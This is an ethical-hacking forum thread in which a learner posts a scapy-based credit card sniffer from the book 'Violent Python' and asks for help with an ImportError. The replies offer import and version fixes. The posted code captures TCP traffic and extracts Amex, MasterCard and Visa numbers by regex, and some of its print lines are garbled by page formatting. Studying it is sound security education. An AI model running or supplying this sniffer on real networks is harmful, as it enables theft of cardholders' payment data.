Image
 
linkedin_logo.png rss_logo.jpg
twitter_logo.png youtube_logo.jpg
Latest Additions
 
EH-Net Login
Welcome Guest.






Lost Password?
No account yet? Register
Who's Online
We have 41 guests and 1 member online
 
Free Business and Tech Magazines and eBooks

You are here: Home arrow Ethical Hacking Discussions and Related Certificationsarrow Programmingarrow ImportError: No module named all scapy
EH-Net
May 24, 2013, 03:45:09 AM *
Welcome, Guest. Please login or register.
Did you miss your activation email?

Login with username, password and session length
News: Go back to The Ethical Hacker Network Online Magazine Home Page
 
   Home   Help Calendar Login Register  
Pages: [1]   Go Down
  Print  
Author Topic: ImportError: No module named all scapy  (Read 436 times)
0 Members and 1 Guest are viewing this topic.
Xtophertaito
Newbie
*
Offline Offline

Posts: 3


View Profile
« on: May 10, 2013, 06:22:43 AM »

Hey all,
I google the above error without solution.kindly suggest how solve the problem.
I studying with violent python book now.
However on page 177 I got stucked!
Here is my story, code and error message on mac osx 10.8.
I run the code on the command line not backtrack.
code:

import re
import optparse
from scapy.all import *  
def findCreditCard(pkt):
    raw = pkt.sprintf('%Raw.load%')
    americaRE = re.findall('3[47][0-9]{13}', raw)
    masterRE = re.findall('5[1-5][0-9]{14}', raw)
    visaRE = re.findall('4[0-9]{12}(?:[0-9]{3})?', raw)

    if americaRE:
        print '
  • Found American Express Card: ' + americaRE[0]
   if masterRE:
        print '
  • Found MasterCard Card: ' + masterRE[0]
   if visaRE:
        print '
  • Found Visa Card: ' + visaRE[0]


def main():
    parser = optparse.OptionParser('usage %prog -i <interface>')
    parser.add_option('-i', dest='interface', type='string',\
      help='specify interface to listen on')
    (options, args) = parser.parse_args()

    if options.interface == None:
        print parser.usage
        exit(0)
    else:
        conf.iface = options.interface

    try:
        print '
  • Starting Credit Card Sniffer.'
       sniff(filter='tcp', prn=findCreditCard, store=0)
    except KeyboardInterrupt:
        exit(0)


if __name__ == '__main__':
    main()
my command line output:

Traceback (most recent call last):
  File "/Users/user/Desktop/scapy.py", line 10, in <module>
    from scapy.all import *  
  File "/Users/user/Desktop/scapy.py", line 10, in <module>
    from scapy.all import *  
ImportError: No module named all
logout

[Process completed]


I installed  scapy 2.0.0 on python 2.7

Thanks.
Xtophertaito
« Last Edit: May 10, 2013, 06:24:53 AM by Xtophertaito » Logged
ajohnson
Recruiters
Hero Member
*
Offline Offline

Posts: 1060


aka dynamik


View Profile WWW
« Reply #1 on: May 10, 2013, 07:43:26 AM »

Try:
from scapy import *
Logged

WIP: GCFA | www.infosiege.net | @infosiege

The day you stop learning is the day you start becoming obsolete.
Dark_Knight
Sr. Member
****
Offline Offline

Posts: 292


View Profile WWW
« Reply #2 on: May 10, 2013, 01:18:00 PM »

hmmm I had no issues running this as is on KALI. Adding to from scapy import * did generate an error.
Logged

CEH, OSCP, GPEN, GWAPT, GCIA
http://sector876.blogspot.com
ajohnson
Recruiters
Hero Member
*
Offline Offline

Posts: 1060


aka dynamik


View Profile WWW
« Reply #3 on: May 10, 2013, 03:15:44 PM »

It's a difference between versions.
Logged

WIP: GCFA | www.infosiege.net | @infosiege

The day you stop learning is the day you start becoming obsolete.
Xtophertaito
Newbie
*
Offline Offline

Posts: 3


View Profile
« Reply #4 on: May 10, 2013, 10:16:39 PM »

@ ajohnson
   from scapy import *
The above statement output :
  ImportError: No module named all.

See below:

File "/Users/user/Desktop/ex09.py", line 3, in <module>
    from scapy import * 
  File "/Users/user/Desktop/scapy.py", line 4, in <module>
    from scapy.all import * 
ImportError: No module named all
logout
 
Thanks for the reply and I am still stucked here
Logged
m0wgli
Full Member
***
Offline Offline

Posts: 248


View Profile
« Reply #5 on: May 11, 2013, 04:10:54 AM »

Try this: http://comments.gmane.org/gmane.comp.security.scapy.general/4737
Logged

Security + | OSWP | eCPPT | CSTA
Pages: [1]   Go Up
  Print  
 
Jump to:  

Powered by MySQL Powered by PHP Powered by SMF 1.1.18 | SMF © 2013, Simple Machines
Joomla Bridge by JoomlaHacks.com
Valid XHTML 1.0! Valid CSS!
Page created in 0.072 seconds with 23 queries.
 
Exclusive Deal

sansfire13_245x90_cw90.jpg
SANSFIRE 2013
June 15 - 22

5% Off w/ Code: EHN_5

SANS Deals 4 EH-Netters
5% OFF Any SANS Course in Any Format!
Coupon Code: EHN_5 Including SANS Rocky Mountain 2013 & SANS Boston 2013
Polls
Compared to this year, 2013 will be:
 
Recent Forum Topics
EH-Net News Feeds
Latest Additions
 
         
Advertisement

© 2013 The Ethical Hacker Network
Joomla! is Free Software released under the GNU/GPL License.